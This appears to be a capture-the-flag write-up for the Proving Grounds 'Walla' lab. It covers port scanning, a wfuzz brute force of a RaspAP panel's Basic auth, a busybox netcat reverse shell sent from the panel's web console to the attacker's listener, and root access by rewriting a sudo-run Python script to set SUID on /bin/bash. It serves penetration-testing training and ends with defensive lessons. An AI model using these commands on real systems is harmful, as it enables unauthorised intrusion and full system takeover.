the_open_door
coffee
ESEN

Walla

Proving Grounds PracticeEasyLinux192.168.173.97

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#raspap#http-basic-auth#brute-force#wfuzz#web-console#reverse-shell#sudo#writable-script#python#suid#oscp
TL;DR. Walla exposes a RaspAP panel (lighttpd) on 8091 protected with HTTP Basic. A brute force finds admin:secret (brute force); inside, RaspAP includes a web console that runs commands as www-data, from which we fire a reverse shell. www-data can run a Python script (/home/walter/wifi_reset.py) via sudo, and its directory is writable by www-data: we rewrite it to set SUID on /bin/bash (sudo over a writable script) and a bash -p (SUID abuse) gives root.

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.

ping -c 1 192.168.173.97
64 bytes from 192.168.173.97: icmp_seq=1 ttl=61 time=35.8 ms

We sweep all TCP ports, then fingerprint versions:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.173.97
PORT      STATE SERVICE
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
422/tcp   open  ssh
8091/tcp  open  http
42042/tcp open  ssh
nmap -p22,23,25,53,422,8091,42042 -sCV 192.168.173.97 -oN targetedScan
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
23/tcp    open  telnet  Linux telnetd
25/tcp    open  smtp    Postfix smtpd
53/tcp    open  domain  tcpwrapped
422/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8091/tcp  open  http    lighttpd 1.4.53
|_http-auth: Basic realm=RaspAP
42042/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

Many ports, but the one that defines the box is 8091: a lighttpd asking for HTTP Basic with the realm RaspAP (the access-point admin panel for Raspberry Pi). There are also three SSH (22, 422, 42042), telnet and a Postfix; we note them, but the path goes through RaspAP.

HTTP (RaspAP) - TCP 8091

The browser prompts for a username and password (the server's basic authentication, not a form):

RaspAP panel's HTTP Basic auth dialog on port 8091

RaspAP has a known default user (admin), so the natural attack is brute-forcing the password against Basic Auth.

Initial access

Brute-forcing the HTTP Basic

With wfuzz we try passwords for admin against Basic Auth, discarding 401 (failure) and 503:

wfuzz -u http://192.168.173.97:8091/ --basic "admin:FUZZ" -w /usr/share/wordlists/rockyou.txt -t 200 --hc=401,503

wfuzz finding the password secret for admin (200 response) on RaspAP's Basic Auth

000000045:   200   278 L   830 W   12303 Ch   "secret"

The only 200 response is the password secret: the panel credentials are admin:secret (brute force).

RaspAP web console: reverse shell

Once in RaspAP, under System there's a Console tab: a web terminal that runs commands on the server. We check which user it runs as:

RaspAP web console (System > Console) running id and returning uid=33(www-data) on walla

uid=33(www-data) gid=33(www-data) groups=33(www-data)

We have command execution as www-data. Since telnet/high ports are available, we fire a reverse shell with busybox netcat to our listener:

Before triggering the shell, we set Penelope listening on 23:

penelope 23
busybox nc 192.168.45.153 23 -e bash

Reverse shell received as www-data@walla after using the RaspAP console

(Penelope)> listeners add -p 23
[+] Got reverse shell from walla~192.168.173.97-Linux-x86_64  Assigned SessionID <1>
www-data@walla:/var/www/html/includes$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We read the first proof (it's in walter's home):

cat /home/walter/local.txt && ip a && hostname && whoami

local.txt read as www-data on walla, with IP 192.168.173.97

39a39b276526c2310807ede8af2658eb

Privilege escalation

sudo over a writable Python script

We check sudo -l and walter's home. Two things line up:

ls -l /home
sudo -l

ls -l /home showing walter owned by www-data and sudo -l with NOPASSWD python /home/walter/wifi_reset.py

drwxr-xr-x 2 www-data www-data 4096 Sep 17  2020 walter
...
User www-data may run the following commands on walla:
    (ALL) NOPASSWD: /sbin/ifup
    (ALL) NOPASSWD: /usr/bin/python /home/walter/wifi_reset.py
    (ALL) NOPASSWD: /bin/systemctl start hostapd.service
    ...

The key is that www-data can run wifi_reset.py as root via sudo, and the /home/walter directory is owned by www-data. Even though the script itself is write-protected, since we own the directory we can delete it and recreate it with whatever content we want (sudo over a writable script). We replace it with a script that sets the SUID bit on /bin/bash:

rm /home/walter/wifi_reset.py
cat > /home/walter/wifi_reset.py <<'EOF'
import os
os.system("chmod u+s /bin/bash")
EOF

Rewriting wifi_reset.py with import os and os.system chmod u+s /bin/bash

www-data@walla:/home$ rm /home/walter/wifi_reset.py
rm: remove write-protected regular file '/home/walter/wifi_reset.py'? y
www-data@walla:/home$ cat walter/wifi_reset.py
import os
os.system("chmod u+s /bin/bash")

We run it via sudo (it runs as root) and confirm /bin/bash is now SUID; with bash -p we keep the root euid (SUID binary abuse):

sudo /usr/bin/python /home/walter/wifi_reset.py
ls -l /bin/bash
bash -p
id

sudo python wifi_reset.py leaves /bin/bash SUID and bash -p gives euid=0(root) on walla

-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

We read the final proof:

cat /root/proof.txt && whoami && ip a && hostname

proof.txt read as root on walla, with whoami root and IP 192.168.173.97

6422cd7f22628ea4cc487e0e01e6ddd9

Attack chain

RaspAP (8091, HTTP Basic)  --  wfuzz admin:FUZZ
        │  admin:secret
        ▼
RaspAP web console (System > Console)  --  www-data
        │  busybox nc -> reverse shell
        ▼
shell as www-data  (local.txt)
        │  sudo NOPASSWD python /home/walter/wifi_reset.py + dir writable by www-data
        │  rewrite script -> chmod u+s /bin/bash -> bash -p
        ▼
shell as root  (proof.txt)

Lessons learned

  • HTTP Basic doesn't protect against a wordlist. With the default user (admin) and a rockyou password (secret), wfuzz gets in within minutes. Admin-panel passwords should be long and random, and attempts should be rate-limited.
  • A web console is a shell. RaspAP offers an in-browser terminal; with valid credentials, the panel is equivalent to command execution as its service user (www-data).
  • Protecting the script isn't enough: who owns its folder matters. The sudo rule pointed at a specific file, but its directory was owned by www-data. Being able to delete and recreate the file is the same as being able to edit it: the binary or script sudo points to, and its directory, must be owned by root.
  • sudo over an interpreter is arbitrary execution. Running python <script> as root scopes nothing if we control the script; pin specific binaries and non-tamperable paths, never interpreters with editable arguments.
Command cheatsheet 9 commands

Quick review